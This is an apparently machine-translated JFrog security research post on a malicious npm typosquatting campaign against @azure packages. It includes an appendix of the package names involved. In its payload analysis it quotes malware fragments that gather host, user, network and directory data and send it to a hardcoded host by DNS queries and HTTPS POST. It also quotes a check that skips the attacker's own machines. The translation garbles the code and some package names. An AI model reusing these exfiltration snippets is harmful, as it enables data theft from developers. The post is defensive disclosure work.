大规模npm攻击用恶意包攻击Azure开发人员
JFrog安全研究团队发现了数百个恶意程序包,这些程序包旨在通过大规模的输入错位攻击窃取个人身份信息

JFrog Security研究团队使用我们的自动化工具持续监控流行的开源软件(OSS)存储库,以避免潜在的风险软件供应链安全威胁,并报告任何漏洞或恶意包发现给存储库维护者和更广泛的社区。
两天前,我们的几个自动化分析器开始对npm注册表中的一组包发出警报。这组特殊的软件包在几天内稳步增长,从大约50个软件包到200多包(截至3月21日)。
在手动检查了其中一些包之后,很明显这是针对整个系统的有针对性的攻击@azureNPM范围,攻击者使用自动脚本创建帐户并上传覆盖整个范围的恶意软件包。目前,观察到这些软件包的恶意有效载荷是PII(个人身份信息)窃取者。
整个恶意包被披露给了npm维护者,这些包很快就被删除了。
谁是目标?
攻击者的目标似乎是所有使用npm包的npm开发人员@azure范围,与typposquatting攻击。
除了@azure作用域中,以下作用域中的一些包也成为了目标@azure-rest,@azure-tests,@azure-tools和@cadl-lang.
由于这组合法软件包每周被下载数千万次,因此一些开发人员很有可能会被输入错误攻击成功地愚弄。
使用什么软件供应链攻击方法?
攻击方法是typposquating -攻击者只需创建一个与现有的@azure作用域包同名的新(恶意)包,但去掉作用域名称.
例如,下面是一个合法的azure npm包-

和它的恶意对应物-

对(至少)218个包进行了此操作。公开的软件包的完整列表发布在JFrog的安全研究网站并作为本文的附录。
攻击者依赖于这样一个事实,即一些开发人员在安装包时可能会错误地忽略@azure前缀。例如,跑步NPM安装核心跟踪错误地使用了正确的命令-NPM安装@azure/core-tracing
除了typposquatting感染方法外,所有恶意软件包都有极高的版本号(例如99.10.9),这表明是依赖混淆攻击。一种可能的猜测是,攻击者试图瞄准从内部Microsoft/Azure网络运行的开发人员和机器,除了基于输入的npm常规用户目标。如前所述,我们没有对这种攻击向量进行研究,因此这只是一个猜测。
使用自动化模糊攻击来源
由于攻击的规模,很明显攻击者使用脚本上传恶意软件包。攻击者还试图通过为每个上传的恶意包创建一个唯一的用户(具有随机生成的名称)来隐藏所有这些恶意包都是由同一作者上传的事实

恶意载荷的技术分析
如前所述,这些包的恶意有效载荷是PII窃取/侦察有效载荷。
一旦安装了包,恶意代码就会自动运行,并泄露以下详细信息-
- 以下目录的目录列表(非递归)-
- C: \
- D: \
- /
- /家庭
- 用户的用户名
- 用户的主目录
- 当前工作目录
- 所有网口的IP地址
- 已配置的DNS服务器IP地址
- (成功)攻击包的名称
const td = {p: package, c: __dirname, hd: os.homedir(), hn: os.hostname(), un: os.userInfo()。用户名、dns: JSON.stringify (dns.getServers ()), ip: JSON.stringify (gethttpips ()), dirs: JSON.stringify (getfile([“C: \ \”、“D :\\","/","/ 家”)),}
这些细节是通过两个泄漏载体泄露的
- HTTPS POST到硬编码的主机名-“425a2.rt11.ml”。
- DNS查询“
.425a2.rt11。其中 被替换为泄漏的详细信息,并以十六进制字符串-连接在一起
Var主机名= "425a2.rt11.ml";query_string = toHex (pkg.hn) +“。”+ toHex (pkg.p) +“。”+ toHex (pkg.un) +“。”+ getPathChunks (pkg.c) +“。”+ getIps() +“。”+主机名;...dns.lookup (query_string)
我们怀疑这个恶意的有效载荷要么是为了对易受攻击的目标进行初步侦察(在发送更大的有效载荷之前),要么是为了对Azure用户(可能还有微软开发人员)进行漏洞赏金狩猎。
代码还包含一组笨拙的测试,大概是为了确保恶意负载不会在攻击者自己的机器上运行:
函数isValid(hostname, path, username, dirs) {if (hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path. startswith ('D:\\TRANSFER\\')){返回false;}……否则if (hostname == 'lili-pc'){返回false;}……否则if (hostname == 'aws-7grara913oid5jsexgkq'){返回false;}……否则if (hostname == 'instance'){返回false;}……返回true;}
我正在使用JFrog x射线,我受到保护吗?
JFrog x光用户可以免受这种攻击。
JFrog安全研究团队在公开披露之前,将所有经过验证的发现(例如发现的恶意软件包和开源软件包中的零日漏洞)添加到我们的x射线数据库中。对这些恶意软件包的任何使用都会在Xray中标记为漏洞。
与往常一样,任何在Xray中标记的恶意依赖都应该立即删除。
除了Xray为检测到的恶意包提供的保护之外,JFrog Artifactory还自动保护用户免受依赖混淆攻击优先解决特性,因为托管在具有此特性的存储库上的工件将不会在公共存储库中查找。
我是使用目标包的Azure开发人员,我应该怎么做?
通过检查它们的名称是否以@azure*作用域开头,确保所安装的包是合法的。
可以这样做,例如,将当前目录更改为要测试的npm项目,并运行以下命令-
NPM list | grep -f packages.txt
其中“packages.txt”包含受影响软件包的完整列表(参见附录A)。
如果任何返回的结果不以“@azure*”范围开始,则您可能受到此攻击的影响。
结论
幸运的是,由于这些软件包很快就被检测到并泄露了(在它们发布后约2天),因此它们似乎没有被大量安装。下载包的数量参差不齐,但平均每个包大约有50次下载。
很明显,npm维护者非常重视安全性。他们的行为多次证明了这一点,比如先发制人地阻止特定的包名,以避免将来的误输入流行包维护者的双因素身份验证需求.
然而,由于供应链攻击的迅速增加,特别是通过npm和PyPI包存储库,似乎应该增加更多的审查和缓解措施。例如,在npm用户创建上添加CAPTCHA机制将不允许攻击者轻松创建任意数量的用户,从而可以上传恶意包,从而使攻击识别更容易(以及基于上传帐户的启发式阻止包)。除此之外,自动包过滤作为安全软件管理过程的一部分,基于SAST或DAST技术(或者最好是两者兼而有之)的需求可能是不可避免的。
除了Xray提供的安全功能之外,JFrog还提供了其他功能几个开源工具这可以帮助识别恶意NPM包。这些工具既可以集成到当前的CI/CD管道中,也可以作为独立的实用程序运行。
与JFrog安全研究保持同步
关注JFrog安全研究团队的最新发现和技术更新安全研究网站并在推特上@JFrogSecurity.
附录A -检测到的恶意包
| agrifood-farming ai-anomaly-detector ai-document-translator arm-advisor arm-analysisservices arm-apimanagement arm-appconfiguration arm-appinsights arm-appplatform arm-appservice arm-attestation arm-authorization arm-avs arm-azurestack arm-azurestackhci arm-batch arm-billing arm-botservice arm-cdn arm-changeanalysis arm-cognitiveservices arm-commerce arm-commitmentplans arm-communication arm-compute arm-confluent arm-consumption arm-containerinstance arm-containerregistry arm-containerservice arm-cosmosdb arm-customerinsights arm-databox arm-databoxedge arm-databricks arm-datacatalog arm-datadog arm-datafactory arm-datalake-analytics arm-datamigration arm-deploymentmanager arm-desktopvirtualization arm-deviceprovisioningservices arm-devspaces arm-devtestlabs arm-digitaltwins arm-dns arm-dnsresolver arm-domainservices arm-eventgrid arm-eventhub arm-extendedlocation arm-features arm-frontdoor Arm-hanaonazure arm-hdinsight |
arm-healthbot arm-healthcareapis arm-hybridcompute arm-hybridkubernetes arm-imagebuilder arm-iotcentral arm-iothub arm-keyvault arm-kubernetesconfiguration arm-labservices arm-links arm-loadtestservice 钳制 arm-logic arm-machinelearningcompute arm-machinelearningexperimentation arm-machinelearningservices arm-managedapplications arm-managementgroups arm-managementpartner arm-maps arm-mariadb arm-marketplaceordering arm-mediaservices arm-migrate arm-mixedreality arm-mobilenetwork arm-monitor arm-msi arm-mysql arm-netapp arm-network arm-notificationhubs arm-oep arm-operationalinsights 手臂运作 arm-orbital arm-peering arm规则 arm-portal arm-postgresql arm-postgresql-flexible arm-powerbidedicated arm-powerbiembedded arm-privatedns arm-purview arm-quota arm-recoveryservices arm-recoveryservices-siterecovery arm-recoveryservicesbackup arm-rediscache arm-redisenterprisecache arm-relay arm-reservations arm-resourcegraph |
arm-resourcehealth arm-resourcemover arm-2022世界杯阿根廷预选赛赛程resources arm-2022世界杯阿根廷预选赛赛程resources-subscriptions arm-search arm-security arm-serialconsole arm-servicebus arm-servicefabric arm-servicefabricmesh arm-servicemap arm-signalr arm-sql arm-sqlvirtualmachine arm-storage arm-storagecache arm-storageimportexport arm-storagesync arm-storsimple1200series arm-storsimple8000series arm-streamanalytics arm-subscriptions arm支持 arm-synapse arm-templatespecs arm-timeseriesinsights arm-trafficmanager arm-videoanalyzer arm-visualstudio arm-vmwarecloudsimple arm-webpubsub arm-webservices arm-workspaces cadl-autorest cadl-azure-core cadl-azure-resource-manager cadl-playground cadl-providerhub cadl-providerhub-controller cadl-providerhub-templates-contoso cadl-samples codemodel communication-chat 通信 communication-identity communication-network-traversal communication-phone-numbers communication-short-codes communication-sms confidential-ledger core-amqp core-asynciterator-polyfill core-auth core-client-1 核心的http |
core-http-compat core-lro core-paging core-rest-pipeline core-tracing 核心xml 重复数据删除 digital-twins-core dll-docs dtdl-parser eslint-config-cadl eslint-plugin-azure-sdk eventhubs-checkpointstore-blob eventhubs-checkpointstore-table extension-base helloworld123ccwq identity-cache-persistence identity-vscode iot-device-update iot-device-update-1 iot-modelsrepository keyvault-admin mixed-reality-authentication mixed-reality-remote-rendering modelerfour monitor-opentelemetry-exporter oai2-to-oai3 openapi3 opentelemetry-instrumentation-azure-sdk pnpmfile.js prettier-plugin-cadl purview-administration purview-catalog purview-scanning quantum-jobs storage-blob-changefeed storage-file-datalake storage-queue synapse-access-control synapse-artifacts synapse-managed-private-endpoints synapse-monitoring synapse-spark test-public-packages test-utils-perf testing-recorder-new testmodeler video-analyzer-edge videojs-wistia web-pubsub web-pubsub-express |